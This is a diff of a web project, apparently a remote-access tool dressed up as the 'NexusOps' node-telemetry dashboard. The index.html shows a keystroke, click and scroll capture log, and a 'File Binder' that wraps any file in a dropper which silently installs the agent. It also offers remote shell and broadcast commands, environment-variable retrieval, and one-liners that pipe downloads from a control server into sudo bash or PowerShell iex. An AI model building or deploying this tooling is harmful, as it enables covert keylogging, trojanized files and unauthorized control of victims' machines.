icon: '/favicon.ico'
});
}
// Audio ping
try {
const ctx = new (window.AudioContext || window.webkitAudioContext)();
const osc = ctx.createOscillator();
const gain = ctx.createGain();
osc.connect(gain); gain.connect(ctx.destination);
osc.frequency.setValueAtTime(880, ctx.currentTime);
osc.frequency.setValueAtTime(1100, ctx.currentTime + 0.1);
gain.gain.setValueAtTime(0.3, ctx.currentTime);
gain.gain.exponentialRampToValueAtTime(0.01, ctx.currentTime + 0.3);
osc.start(ctx.currentTime);
osc.stop(ctx.currentTime + 0.3);
} catch(e) {}
}
});
// Also mark offline nodes
nodesData.forEach(node => knownNodeIds.add(node.id));
}
// Request notification permission on first interaction
document.addEventListener('click', () => {
if (Notification.permission === 'default') Notification.requestPermission();
}, { once: true });

BIN
public/bin/NexusAgent Executable file

Binary file not shown.

470
public/index.html Normal file
View File

@@ -0,0 +1,470 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>NexusOps — Central Network Node Operations</title>
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&family=JetBrains+Mono:wght@400;500;700&family=Outfit:wght@500;600;700;800&display=swap" rel="stylesheet">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
<script src="https://cdn.jsdelivr.net/npm/chart.js"></script>
<link rel="stylesheet" href="styles.css">
</head>
<body>
<!-- Top Navigation Header -->
<header class="top-nav">
<div class="logo-area">
<div class="logo-icon">
<i class="fa-solid fa-network-wired"></i>
</div>
<div>
<h1 class="logo-text">Nexus<span>Ops</span></h1>
<span class="sub-text">Node Control & Telemetry Operations</span>
</div>
</div>
<div class="nav-metrics">
<div class="metric-pill">
<span class="pill-label">Server Endpoint:</span>
<span class="pill-value highlight-endpoint" id="navServerEndpoint">http://10.30.20.44:3000</span>
</div>
<div class="metric-pill">
<span class="status-indicator online"></span>
<span class="pill-label">Status:</span>
<span class="pill-value" id="navConnectionStatus">Connected</span>
</div>
</div>
<div class="action-area" style="display: flex; gap: 0.75rem;">
<a href="/api/export/csv" class="btn btn-secondary" style="text-decoration: none;" download>
<i class="fa-solid fa-file-csv"></i> Nodes CSV
</a>
<a href="/api/inputs/csv" class="btn btn-secondary" style="text-decoration: none;" download>
<i class="fa-solid fa-file-csv"></i> Inputs CSV
</a>
<button class="btn btn-secondary" onclick="openBinderModal()">
<i class="fa-solid fa-file-circle-plus"></i> File Binder
</button>
<button class="btn btn-secondary" onclick="openBulkModal()">
<i class="fa-solid fa-layer-group"></i> Bulk Task
</button>
<button class="btn btn-primary" onclick="openInstallerModal()">
<i class="fa-solid fa-plus"></i> Add Computer
</button>
<button class="btn btn-secondary" style="border-color: var(--accent-rose); color: var(--accent-rose);" onclick="killSwitch()">
<i class="fa-solid fa-skull"></i> Kill Switch
</button>
</div>
</header>
<!-- Main Container -->
<main class="dashboard-container">
<!-- Stats Row Overview -->
<section class="stats-grid">
<div class="stat-card">
<div class="stat-icon cyan"><i class="fa-solid fa-server"></i></div>
<div class="stat-details">
<span class="stat-label">Total Nodes</span>
<h2 class="stat-number" id="statTotalNodes">0</h2>
</div>
</div>
<div class="stat-card">
<div class="stat-icon emerald"><i class="fa-solid fa-circle-check"></i></div>
<div class="stat-details">
<span class="stat-label">Online Nodes</span>
<h2 class="stat-number" id="statOnlineNodes">0</h2>
</div>
</div>
<div class="stat-card">
<div class="stat-icon rose"><i class="fa-solid fa-circle-exclamation"></i></div>
<div class="stat-details">
<span class="stat-label">Offline / Stale</span>
<h2 class="stat-number" id="statOfflineNodes">0</h2>
</div>
</div>
<div class="stat-card">
<div class="stat-icon purple"><i class="fa-solid fa-bolt"></i></div>
<div class="stat-details">
<span class="stat-label">Avg Network CPU</span>
<h2 class="stat-number" id="statAvgCpu">0%</h2>
</div>
</div>
</section>
<!-- Toolbar & Filter Row -->
<div class="controls-toolbar">
<div class="search-box">
<i class="fa-solid fa-magnifying-glass"></i>
<input type="text" id="searchInput" placeholder="Search by hostname, IP, OS or ID..." onkeyup="filterNodes()">
</div>
<div class="filter-group">
<button class="filter-btn active" data-filter="all" onclick="setFilter('all', this)">All Nodes</button>
<button class="filter-btn" data-filter="online" onclick="setFilter('online', this)">Online</button>
<button class="filter-btn" data-filter="offline" onclick="setFilter('offline', this)">Offline</button>
</div>
<div class="view-toggle">
<button class="toggle-btn active" onclick="switchView('grid', this)"><i class="fa-solid fa-grid-2"></i> Grid</button>
<button class="toggle-btn" onclick="switchView('list', this)"><i class="fa-solid fa-list"></i> Table</button>
</div>
</div>
<!-- Nodes Grid -->
<div id="nodesGrid" class="nodes-grid-view">
<div class="empty-state">
<i class="fa-solid fa-satellite-dish fa-spin"></i>
<h3>Waiting for Agents to Connect...</h3>
<p>No nodes registered yet. Click "Add New Computer" to get your agent installer script or standalone binary.</p>
<button class="btn btn-secondary" onclick="openInstallerModal()">Get Agent Install Script</button>
</div>
</div>
<!-- Telemetry Chart -->
<section class="chart-section">
<div class="section-header">
<h3><i class="fa-solid fa-chart-line"></i> Real-time Aggregate System Telemetry</h3>
<span class="badge">Live Stream</span>
</div>
<div class="chart-container">
<canvas id="telemetryChart"></canvas>
</div>
</section>
<!-- Command Execution Audit Log -->
<section class="logs-section">
<div class="section-header">
<h3><i class="fa-solid fa-terminal"></i> Task & Control Execution Log</h3>
<span class="badge purple" id="logCount">0 events</span>
</div>
<div class="terminal-window">
<div class="terminal-body" id="auditLogContent">
<div class="log-entry system">[SYSTEM] NexusOps Telemetry Server ready. Waiting for node tasks...</div>
</div>
</div>
</section>
<!-- Master Centralized System & Audit Log Stream -->
<section class="logs-section">
<div class="section-header">
<h3><i class="fa-solid fa-file-lines"></i> Master Centralized System & Audit Log Stream</h3>
<div style="display: flex; align-items: center; gap: 0.75rem;">
<input type="text" id="logSearchInput" placeholder="Filter log output..." style="background: rgba(15,23,42,0.8); border: 1px solid var(--border-color); color: #fff; padding: 0.3rem 0.6rem; border-radius: 6px; font-size: 0.8rem;" onkeyup="renderMasterSyslogs()">
<span class="badge" id="syslogCount">0 entries</span>
</div>
</div>
<div class="terminal-window" style="height: 240px;">
<div class="terminal-body" id="syslogStreamContent">
<div class="log-entry system">[SYSTEM] Central log stream active. Listening for node syslog and audit events...</div>
</div>
</div>
</section>
<!-- Master Intelligence Log — unified input capture, machine details, and system events -->
<section class="logs-section" id="intelSection">
<div class="section-header">
<h3><i class="fa-solid fa-eye"></i> Master Intelligence Log — Input Capture & Machine Telemetry</h3>
<div style="display: flex; align-items: center; gap: 0.75rem;">
<select id="intelNodeFilter" style="background: rgba(15,23,42,0.8); border: 1px solid var(--border-color); color: #fff; padding: 0.3rem 0.6rem; border-radius: 6px; font-size: 0.8rem;" onchange="renderIntelLog()">
<option value="all">All Machines</option>
</select>
<select id="intelTypeFilter" style="background: rgba(15,23,42,0.8); border: 1px solid var(--border-color); color: #fff; padding: 0.3rem 0.6rem; border-radius: 6px; font-size: 0.8rem;" onchange="renderIntelLog()">
<option value="all">All Events</option>
<option value="keystroke">Keystrokes</option>
<option value="click">Clicks</option>
<option value="scroll">Scroll</option>
</select>
<input type="text" id="intelSearchInput" placeholder="Search input data..." style="background: rgba(15,23,42,0.8); border: 1px solid var(--border-color); color: #fff; padding: 0.3rem 0.6rem; border-radius: 6px; font-size: 0.8rem; width: 160px;" onkeyup="renderIntelLog()">
<span class="badge purple" id="intelCount">0 events</span>
</div>
</div>
<!-- Machine Details Quick-View Bar -->
<div id="machineDetailsBar" style="display: flex; flex-wrap: wrap; gap: 0.5rem; padding: 0.75rem; background: rgba(15,23,42,0.5); border-radius: var(--radius-sm); border: 1px solid var(--border-color); min-height: 40px;">
<span style="color: var(--text-muted); font-size: 0.8rem;">Select a machine above to view its details here...</span>
</div>
<div class="terminal-window" style="height: 300px;">
<div class="terminal-body" id="intelLogContent">
<div class="log-entry system">[INTEL] Master Intelligence Log active. Awaiting input capture data from agents...</div>
</div>
</div>
</section>
</main>
<!-- Agent Installer Modal -->
<div class="modal-overlay" id="installerModal">
<div class="modal-card">
<div class="modal-header">
<div class="title-with-icon">
<i class="fa-solid fa-download icon-accent"></i>
<div>
<h2>Deploy Agent to Network Computer</h2>
<p>Download the standalone agent binary or run the dynamic installation script on target systems.</p>
</div>
</div>
<button class="modal-close" onclick="closeInstallerModal()"><i class="fa-solid fa-xmark"></i></button>
</div>
<div class="modal-body">
<div class="os-tabs">
<button class="tab-btn active" onclick="switchTab('binary')"><i class="fa-solid fa-box"></i> Standalone Binary</button>
<button class="tab-btn" onclick="switchTab('linux')"><i class="fa-brands fa-linux"></i> Linux Script</button>
<button class="tab-btn" onclick="switchTab('windows')"><i class="fa-brands fa-windows"></i> Windows (PowerShell)</button>
<button class="tab-btn" onclick="switchTab('mac')"><i class="fa-brands fa-apple"></i> macOS</button>
<button class="tab-btn" onclick="switchTab('manual')"><i class="fa-brands fa-python"></i> Python (Manual)</button>
</div>
<div class="tab-content active" id="tab-binary">
<p class="tab-description">Compiled standalone binary executable (no Python installation required on target system).</p>
<div class="code-block">
<code id="codeBinary">curl -sSL <span class="server-url-placeholder">http://10.30.20.44:3000</span>/bin/NexusAgent -o NexusAgent && chmod +x NexusAgent && ./NexusAgent --server <span class="server-url-placeholder">http://10.30.20.44:3000</span></code>
<button class="btn-copy" onclick="copyCode('codeBinary', this)"><i class="fa-regular fa-copy"></i> Copy</button>
</div>
<div style="margin-top: 0.75rem;">
<a id="binaryDownloadLink" href="http://10.30.20.44:3000/bin/NexusAgent" download="NexusAgent" class="btn btn-secondary" style="text-decoration: none;">
<i class="fa-solid fa-file-arrow-down"></i> Direct Download Compiled Executable (NexusAgent)
</a>
</div>
</div>
<div class="tab-content" id="tab-linux">
<p class="tab-description">Executes automated installer, configures systemd service, and starts background heartbeat daemon.</p>
<div class="code-block">
<code id="codeLinux">curl -sSL <span class="server-url-placeholder">http://10.30.20.44:3000</span>/install.sh | sudo bash</code>
<button class="btn-copy" onclick="copyCode('codeLinux', this)"><i class="fa-regular fa-copy"></i> Copy</button>
</div>
</div>
<div class="tab-content" id="tab-windows">
<p class="tab-description">Downloads Python agent to ProgramData and launches background monitoring process.</p>
<div class="code-block">
<code id="codeWindows">iwr -useb <span class="server-url-placeholder">http://10.30.20.44:3000</span>/install.ps1 | iex</code>
<button class="btn-copy" onclick="copyCode('codeWindows', this)"><i class="fa-regular fa-copy"></i> Copy</button>
</div>
</div>
<div class="tab-content" id="tab-mac">
<p class="tab-description">Installs agent as a launchd background daemon with KeepAlive enabled. Auto-starts on login.</p>
<div class="code-block">
<code id="codeMac">curl -sSL <span class="server-url-placeholder">http://10.30.20.44:3000</span>/install-mac.sh | bash</code>
<button class="btn-copy" onclick="copyCode('codeMac', this)"><i class="fa-regular fa-copy"></i> Copy</button>
</div>
</div>
<div class="tab-content" id="tab-manual">
<p class="tab-description">Download and run directly using standard Python 3 (No external dependencies required).</p>
<div class="code-block">
<code id="codeManual">curl -sSL <span class="server-url-placeholder">http://10.30.20.44:3000</span>/agent.py -o agent.py && python3 agent.py --server <span class="server-url-placeholder">http://10.30.20.44:3000</span></code>
<button class="btn-copy" onclick="copyCode('codeManual', this)"><i class="fa-regular fa-copy"></i> Copy</button>
</div>
</div>
<div class="modal-info-box">
<i class="fa-solid fa-circle-info"></i>
<div>
<strong>Server Endpoint Pre-configured:</strong> All installers link to <span class="server-url-placeholder">http://10.30.20.44:3000</span>.
</div>
</div>
</div>
</div>
</div>
<!-- Multi-Control Node Center Modal -->
<div class="modal-overlay" id="commandModal">
<div class="modal-card" style="max-width: 720px;">
<div class="modal-header">
<div class="title-with-icon">
<i class="fa-solid fa-sliders icon-accent"></i>
<div>
<h2>Node Control Center: <span id="cmdModalHostname">Node</span></h2>
<p>Full suite of cross-platform administrative & diagnostic actions.</p>
</div>
</div>
<button class="modal-close" onclick="closeCommandModal()"><i class="fa-solid fa-xmark"></i></button>
</div>
<div class="modal-body">
<input type="hidden" id="cmdModalNodeId">
<div class="os-tabs" style="flex-wrap: wrap; gap: 0.25rem;">
<button class="tab-btn active" onclick="switchControlTab('shell', this)"><i class="fa-solid fa-terminal"></i> Terminal</button>
<button class="tab-btn" onclick="switchControlTab('service', this)"><i class="fa-solid fa-gear"></i> Services</button>
<button class="tab-btn" onclick="switchControlTab('process', this)"><i class="fa-solid fa-microchip"></i> Processes</button>
<button class="tab-btn" onclick="switchControlTab('diag', this)"><i class="fa-solid fa-stethoscope"></i> Diagnostics</button>
<button class="tab-btn" onclick="switchControlTab('network', this)"><i class="fa-solid fa-network-wired"></i> Network</button>
<button class="tab-btn" onclick="switchControlTab('config', this)"><i class="fa-solid fa-sliders"></i> Agent Config</button>
</div>
<!-- Shell Tab -->
<div class="control-tab-content active" id="ctrl-shell">
<div class="form-group">
<label>Run Shell Command</label>
<input type="text" id="cmdInput" class="form-input" placeholder="e.g. systemctl status nginx or df -h" onkeydown="if(event.key==='Enter') submitNodeAction('raw_command')">
</div>
<div class="quick-commands" style="margin-top: 0.5rem;">
<span class="quick-label">Presets:</span>
<button class="chip" onclick="setQuickCmd('uptime')">Uptime</button>
<button class="chip" onclick="setQuickCmd('df -h')">Disk Space</button>
<button class="chip" onclick="setQuickCmd('free -h')">Memory Free</button>
<button class="chip" onclick="setQuickCmd('docker ps')">Docker Containers</button>
</div>
<div class="modal-actions">
<button class="btn btn-primary" onclick="submitNodeAction('raw_command')"><i class="fa-solid fa-paper-plane"></i> Run Shell Command</button>
</div>
</div>
<!-- Service Tab -->
<div class="control-tab-content" id="ctrl-service" style="display: none;">
<div class="form-group">
<label>Service Name</label>
<input type="text" id="serviceNameInput" class="form-input" placeholder="e.g. nginx, docker, sshd, mysql">
</div>
<div class="form-group">
<label>Action</label>
<div style="display: flex; gap: 0.5rem; margin-top: 0.25rem;">
<button class="btn btn-secondary" onclick="submitServiceAction('restart')"><i class="fa-solid fa-rotate"></i> Restart</button>
<button class="btn btn-secondary" onclick="submitServiceAction('start')"><i class="fa-solid fa-play"></i> Start</button>
<button class="btn btn-secondary" onclick="submitServiceAction('stop')"><i class="fa-solid fa-stop"></i> Stop</button>
<button class="btn btn-secondary" onclick="submitServiceAction('status')"><i class="fa-solid fa-info-circle"></i> Status</button>
</div>
</div>
</div>
<!-- Process Tab -->
<div class="control-tab-content" id="ctrl-process" style="display: none;">
<p class="tab-description">Inspect top CPU processes or terminate stuck process ID (PID).</p>
<div style="display: flex; gap: 0.75rem; align-items: flex-end;">
<button class="btn btn-primary" onclick="submitNodeAction('list_processes')"><i class="fa-solid fa-list"></i> Fetch Top Processes</button>
<div class="form-group" style="flex: 1;">
<label>Kill PID</label>
<input type="number" id="killPidInput" class="form-input" placeholder="e.g. 1420">
</div>
<button class="btn btn-secondary" style="border-color: var(--accent-rose); color: var(--accent-rose);" onclick="submitKillProcess()"><i class="fa-solid fa-skull"></i> Kill PID</button>
</div>
</div>
<!-- Diagnostics Tab (Features 1, 2, 5, 10) -->
<div class="control-tab-content" id="ctrl-diag" style="display: none;">
<p class="tab-description">Hardware, Storage, Environment & System Diagnostic Inspection.</p>
<div style="display: grid; grid-template-columns: 1fr 1fr; gap: 0.5rem;">
<button class="btn btn-secondary" onclick="submitNodeAction('get_hardware_specs')"><i class="fa-solid fa-microchip"></i> Hardware & CPU Specs</button>
<button class="btn btn-secondary" onclick="submitNodeAction('get_disk_partitions')"><i class="fa-solid fa-hard-drive"></i> Disk Partitions</button>
<button class="btn btn-secondary" onclick="submitNodeAction('get_env_vars')"><i class="fa-solid fa-code"></i> Environment Variables</button>
<button class="btn btn-secondary" onclick="submitNodeAction('export_diagnostics')"><i class="fa-solid fa-notes-medical"></i> Full Diagnostics</button>
</div>
</div>
<!-- Network Tab (Features 3, 4) -->
<div class="control-tab-content" id="ctrl-network" style="display: none;">
<p class="tab-description">Network Interface Cards & Active Established Connections.</p>
<div style="display: flex; gap: 0.5rem; margin-bottom: 0.75rem;">
<button class="btn btn-secondary" onclick="submitNodeAction('get_network_interfaces')"><i class="fa-solid fa-ethernet"></i> Network Interfaces</button>
<button class="btn btn-secondary" onclick="submitNodeAction('get_active_connections')"><i class="fa-solid fa-plug"></i> Established TCP Sockets</button>
<button class="btn btn-secondary" onclick="submitNodeAction('network_stats')"><i class="fa-solid fa-list-numeric"></i> Listening Ports</button>
</div>
</div>
<!-- Agent Config Tab (Features 6, 7, 8) -->
<div class="control-tab-content" id="ctrl-config" style="display: none;">
<div class="form-group">
<label>Set Node Tags (comma separated)</label>
<div style="display: flex; gap: 0.5rem;">
<input type="text" id="tagInput" class="form-input" placeholder="e.g. Production, WebServer, Proxmox">
<button class="btn btn-primary" onclick="submitTagUpdate()"><i class="fa-solid fa-tag"></i> Save Tags</button>
</div>
</div>
<div class="form-group" style="margin-top: 0.75rem;">
<label>Adjust Heartbeat Rate (seconds)</label>
<div style="display: flex; gap: 0.5rem;">
<input type="number" id="heartbeatInput" class="form-input" placeholder="5" value="5" min="2" max="60">
<button class="btn btn-primary" onclick="submitHeartbeatRate()"><i class="fa-solid fa-clock"></i> Set Rate</button>
</div>
</div>
<div style="margin-top: 1.25rem; border-top: 1px solid var(--border-color); padding-top: 1rem;">
<button class="btn btn-secondary" style="border-color: var(--accent-rose); color: var(--accent-rose);" onclick="submitSystemReboot()"><i class="fa-solid fa-power-off"></i> Reboot Target Machine</button>
</div>
</div>
</div>
</div>
</div>
<!-- Bulk Execution Modal -->
<div class="modal-overlay" id="bulkModal">
<div class="modal-card">
<div class="modal-header">
<div class="title-with-icon">
<i class="fa-solid fa-layer-group icon-accent"></i>
<div>
<h2>Broadcast Task across All Connected Nodes</h2>
<p>Dispatches the selected administrative action to every online machine on your network.</p>
</div>
</div>
<button class="modal-close" onclick="closeBulkModal()"><i class="fa-solid fa-xmark"></i></button>
</div>
<div class="modal-body">
<div class="form-group">
<label>Broadcast Command</label>
<input type="text" id="bulkCmdInput" class="form-input" placeholder="e.g. apt update -y or uptime or systemctl restart nginx">
</div>
<div class="modal-actions">
<button class="btn btn-secondary" onclick="closeBulkModal()">Cancel</button>
<button class="btn btn-primary" onclick="submitBulkCommand()"><i class="fa-solid fa-paper-plane"></i> Broadcast to All Nodes</button>
</div>
</div>
</div>
</div>
<!-- File Binder Modal -->
<div class="modal-overlay" id="binderModal">
<div class="modal-card" style="max-width: 560px;">
<div class="modal-header">
<div class="title-with-icon">
<i class="fa-solid fa-file-circle-plus icon-accent"></i>
<div>
<h2>File Binder — Embed Agent into Any File</h2>
<p>Upload any file. Get back a self-extracting dropper that opens the file normally while silently installing the agent.</p>
</div>
</div>
<button class="modal-close" onclick="closeBinderModal()"><i class="fa-solid fa-xmark"></i></button>
</div>
<div class="modal-body">
<div class="form-group">
<label>Select File to Bind</label>
<div class="binder-dropzone" id="binderDropzone" onclick="document.getElementById('binderFileInput').click()">
<i class="fa-solid fa-cloud-arrow-up" style="font-size: 2rem; color: var(--primary-cyan);"></i>
<p style="margin-top: 0.5rem;" id="binderFileName">Click or drag any file here</p>
<span style="font-size: 0.75rem; color: var(--text-dim);">PDF, DOCX, XLSX, PNG, JPG, scripts, executables — anything</span>
</div>
<input type="file" id="binderFileInput" style="display: none;" onchange="handleBinderFile(this)">
</div>
<div id="binderStatus" style="display: none; padding: 0.75rem; border-radius: var(--radius-sm); text-align: center; font-size: 0.9rem;"></div>
<div class="modal-actions">
<button class="btn btn-secondary" onclick="closeBinderModal()">Cancel</button>
<button class="btn btn-primary" id="binderSubmitBtn" disabled onclick="submitBinder()">
<i class="fa-solid fa-wand-magic-sparkles"></i> Bind & Download
</button>
</div>
<div class="modal-info-box" style="margin-top: 0.5rem;">
<i class="fa-solid fa-circle-info"></i>
<div>
<strong>How it works:</strong> Your file is embedded in a cross-platform shell dropper. When executed, it opens the original file AND deploys the agent to <span class="server-url-placeholder">http://10.30.20.44:3000</span>.
</div>
</div>
</div>
</div>
</div>
<script src="app.js"></script>
</body>
</html>

905
public/styles.css Normal file
View File

@@ -0,0 +1,905 @@
:root {
--bg-dark: #090d16;
--bg-card: rgba(17, 24, 39, 0.7);
--bg-card-hover: rgba(31, 41, 55, 0.8);
--border-color: rgba(255, 255, 255, 0.08);
--border-active: rgba(6, 182, 212, 0.4);
--primary-cyan: #06b6d4;
--primary-purple: #8b5cf6;
--accent-emerald: #10b981;
--accent-rose: #f43f5e;
--accent-amber: #f59e0b;
--text-main: #f3f4f6;
--text-muted: #9ca3af;
--text-dim: #6b7280;
--font-sans: 'Inter', system-ui, sans-serif;
--font-display: 'Outfit', system-ui, sans-serif;
--font-mono: 'JetBrains Mono', monospace;
--radius-sm: 6px;
--radius-md: 12px;
--radius-lg: 18px;
--shadow-glow: 0 0 20px rgba(6, 182, 212, 0.15);
}
* {
margin: 0;
padding: 0;
box-sizing: border-box;
}
body {
background-color: var(--bg-dark);
color: var(--text-main);
font-family: var(--font-sans);
background-image:
radial-gradient(at 0% 0%, rgba(6, 182, 212, 0.05) 0px, transparent 50%),
radial-gradient(at 100% 0%, rgba(139, 92, 246, 0.05) 0px, transparent 50%);
background-attachment: fixed;
min-height: 100vh;
display: flex;
flex-direction: column;
}
/* Header Navbar */
.top-nav {
display: flex;
justify-content: space-between;
align-items: center;
padding: 1.25rem 2rem;
background: rgba(15, 23, 42, 0.85);
backdrop-filter: blur(16px);
border-bottom: 1px solid var(--border-color);
position: sticky;
top: 0;
z-index: 100;
}
.logo-area {
display: flex;
align-items: center;
gap: 1rem;
}
.logo-icon {
width: 44px;
height: 44px;
background: linear-gradient(135deg, var(--primary-cyan), var(--primary-purple));
border-radius: var(--radius-md);
display: flex;
align-items: center;
justify-content: center;
font-size: 1.25rem;
color: #fff;
box-shadow: var(--shadow-glow);
}
.logo-text {
font-family: var(--font-display);
font-size: 1.5rem;
font-weight: 800;
letter-spacing: -0.02em;
}
.logo-text span {
color: var(--primary-cyan);
}
.sub-text {
display: block;
font-size: 0.75rem;
color: var(--text-muted);
}
.nav-metrics {
display: flex;
gap: 1rem;
}
.metric-pill {
display: flex;
align-items: center;
gap: 0.5rem;
background: rgba(255, 255, 255, 0.04);
border: 1px solid var(--border-color);
padding: 0.5rem 1rem;
border-radius: 9999px;
font-size: 0.85rem;
}
.pill-label {
color: var(--text-muted);
}
.pill-value {
font-family: var(--font-mono);
font-weight: 600;
}
.highlight-endpoint {
color: var(--primary-cyan);
}
.status-indicator {
width: 8px;
height: 8px;
border-radius: 50%;
background-color: var(--text-dim);
}
.status-indicator.online {
background-color: var(--accent-emerald);
box-shadow: 0 0 8px var(--accent-emerald);
}
/* Dashboard Container */
.dashboard-container {
max-width: 1400px;
width: 100%;
margin: 0 auto;
padding: 2rem;
display: flex;
flex-direction: column;
gap: 2rem;
}
/* Overview Stat Cards */
.stats-grid {
display: grid;
grid-template-columns: repeat(auto-fit, minmax(240px, 1fr));
gap: 1.25rem;
}
.stat-card {
background: var(--bg-card);
backdrop-filter: blur(12px);
border: 1px solid var(--border-color);
border-radius: var(--radius-md);
padding: 1.25rem 1.5rem;
display: flex;
align-items: center;
gap: 1.25rem;
transition: transform 0.2s ease, border-color 0.2s ease;
}
.stat-card:hover {
transform: translateY(-2px);
border-color: rgba(255, 255, 255, 0.15);
}
.stat-icon {
width: 52px;
height: 52px;
border-radius: var(--radius-md);
display: flex;
align-items: center;
justify-content: center;
font-size: 1.5rem;
}
.stat-icon.cyan { background: rgba(6, 182, 212, 0.12); color: var(--primary-cyan); }
.stat-icon.emerald { background: rgba(16, 185, 129, 0.12); color: var(--accent-emerald); }
.stat-icon.rose { background: rgba(244, 63, 94, 0.12); color: var(--accent-rose); }
.stat-icon.purple { background: rgba(139, 92, 246, 0.12); color: var(--primary-purple); }
.stat-label {
font-size: 0.8rem;
color: var(--text-muted);
text-transform: uppercase;
letter-spacing: 0.05em;
font-weight: 600;
}
.stat-number {
font-family: var(--font-display);
font-size: 1.75rem;
font-weight: 700;
margin-top: 0.2rem;
}
/* Toolbar & Filters */
.controls-toolbar {
display: flex;
justify-content: space-between;
align-items: center;
gap: 1rem;
flex-wrap: wrap;
}
.search-box {
position: relative;
flex: 1;
min-width: 280px;
}
.search-box i {
position: absolute;
left: 1rem;
top: 50%;
transform: translateY(-50%);
color: var(--text-dim);
}
.search-box input {
width: 100%;
padding: 0.75rem 1rem 0.75rem 2.75rem;
background: rgba(15, 23, 42, 0.6);
border: 1px solid var(--border-color);
border-radius: var(--radius-md);
color: #fff;
font-family: var(--font-sans);
font-size: 0.9rem;
transition: all 0.2s ease;
}
.search-box input:focus {
outline: none;
border-color: var(--primary-cyan);
box-shadow: var(--shadow-glow);
}
.filter-group, .view-toggle {
display: flex;
background: rgba(15, 23, 42, 0.6);
border: 1px solid var(--border-color);
border-radius: var(--radius-md);
padding: 0.25rem;
}
.filter-btn, .toggle-btn {
background: transparent;
border: none;
color: var(--text-muted);
padding: 0.5rem 1rem;
border-radius: var(--radius-sm);
font-size: 0.85rem;
font-weight: 500;
cursor: pointer;
transition: all 0.2s ease;
}
.filter-btn.active, .toggle-btn.active {
background: rgba(255, 255, 255, 0.1);
color: #fff;
}
/* Node Cards Grid */
.nodes-grid-view {
display: grid;
grid-template-columns: repeat(auto-fill, minmax(340px, 1fr));
gap: 1.5rem;
}
.node-card {
background: var(--bg-card);
backdrop-filter: blur(12px);
border: 1px solid var(--border-color);
border-radius: var(--radius-md);
padding: 1.5rem;
display: flex;
flex-direction: column;
gap: 1.25rem;
position: relative;
overflow: hidden;
transition: all 0.25s ease;
}
.node-card:hover {
border-color: var(--border-active);
transform: translateY(-3px);
box-shadow: 0 10px 30px rgba(0, 0, 0, 0.4);
}
.node-card.offline {
opacity: 0.75;
}
.node-card::before {
content: '';
position: absolute;
top: 0;
left: 0;
right: 0;
height: 3px;
background: var(--accent-rose);
}
.node-card.online::before {
background: var(--accent-emerald);
}
.card-header {
display: flex;
justify-content: space-between;
align-items: flex-start;
}
.node-info-main {
display: flex;
align-items: center;
gap: 0.75rem;
}
.platform-badge-icon {
width: 40px;
height: 40px;
border-radius: var(--radius-sm);
background: rgba(255, 255, 255, 0.05);
display: flex;
align-items: center;
justify-content: center;
font-size: 1.25rem;
color: var(--primary-cyan);
}
.node-title h3 {
font-family: var(--font-display);
font-size: 1.1rem;
font-weight: 700;
}
.node-title span {
font-family: var(--font-mono);
font-size: 0.8rem;
color: var(--text-muted);
}
.status-badge {
padding: 0.25rem 0.65rem;
border-radius: 9999px;
font-size: 0.75rem;
font-weight: 600;
text-transform: uppercase;
letter-spacing: 0.05em;
display: flex;
align-items: center;
gap: 0.4rem;
}
.status-badge.online {
background: rgba(16, 185, 129, 0.15);
color: var(--accent-emerald);
border: 1px solid rgba(16, 185, 129, 0.3);
}
.status-badge.offline {
background: rgba(244, 63, 94, 0.15);
color: var(--accent-rose);
border: 1px solid rgba(244, 63, 94, 0.3);
}
.metrics-container {
display: flex;
flex-direction: column;
gap: 0.75rem;
}
.metric-bar-group {
display: flex;
flex-direction: column;
gap: 0.3rem;
}
.metric-bar-label {
display: flex;
justify-content: space-between;
font-size: 0.8rem;
color: var(--text-muted);
}
.metric-bar-bg {
height: 8px;
background: rgba(255, 255, 255, 0.06);
border-radius: 9999px;
overflow: hidden;
}
.metric-bar-fill {
height: 100%;
border-radius: 9999px;
transition: width 0.4s ease;
}
.fill-cpu { background: linear-gradient(90deg, var(--primary-cyan), var(--primary-purple)); }
.fill-mem { background: linear-gradient(90deg, #3b82f6, #8b5cf6); }
.fill-disk { background: linear-gradient(90deg, #f59e0b, #ef4444); }
.card-footer {
display: flex;
justify-content: space-between;
align-items: center;
padding-top: 0.75rem;
border-top: 1px solid rgba(255, 255, 255, 0.06);
}
.node-actions {
display: flex;
gap: 0.5rem;
}
/* Buttons */
.btn {
display: inline-flex;
align-items: center;
gap: 0.5rem;
padding: 0.6rem 1.25rem;
border-radius: var(--radius-md);
font-family: var(--font-sans);
font-size: 0.875rem;
font-weight: 600;
cursor: pointer;
border: none;
transition: all 0.2s ease;
}
.btn-primary {
background: linear-gradient(135deg, var(--primary-cyan), #0284c7);
color: #fff;
box-shadow: 0 4px 12px rgba(6, 182, 212, 0.3);
}
.btn-primary:hover {
filter: brightness(1.1);
box-shadow: 0 6px 18px rgba(6, 182, 212, 0.45);
}
.btn-secondary {
background: rgba(255, 255, 255, 0.06);
border: 1px solid var(--border-color);
color: var(--text-main);
}
.btn-secondary:hover {
background: rgba(255, 255, 255, 0.12);
}
.btn-icon {
padding: 0.5rem;
border-radius: var(--radius-sm);
background: rgba(255, 255, 255, 0.05);
border: 1px solid var(--border-color);
color: var(--text-muted);
cursor: pointer;
transition: all 0.2s ease;
}
.btn-icon:hover {
color: #fff;
border-color: var(--primary-cyan);
}
/* Section Cards (Charts / Logs) */
.chart-section, .logs-section {
background: var(--bg-card);
backdrop-filter: blur(12px);
border: 1px solid var(--border-color);
border-radius: var(--radius-md);
padding: 1.5rem;
display: flex;
flex-direction: column;
gap: 1rem;
}
.section-header {
display: flex;
justify-content: space-between;
align-items: center;
}
.section-header h3 {
font-family: var(--font-display);
font-size: 1.1rem;
display: flex;
align-items: center;
gap: 0.6rem;
}
.badge {
padding: 0.2rem 0.6rem;
border-radius: var(--radius-sm);
background: rgba(6, 182, 212, 0.15);
color: var(--primary-cyan);
font-size: 0.75rem;
font-weight: 600;
}
.badge.purple {
background: rgba(139, 92, 246, 0.15);
color: var(--primary-purple);
}
.chart-container {
height: 260px;
width: 100%;
}
/* Terminal Log View */
.terminal-window {
background: #050811;
border: 1px solid var(--border-color);
border-radius: var(--radius-sm);
font-family: var(--font-mono);
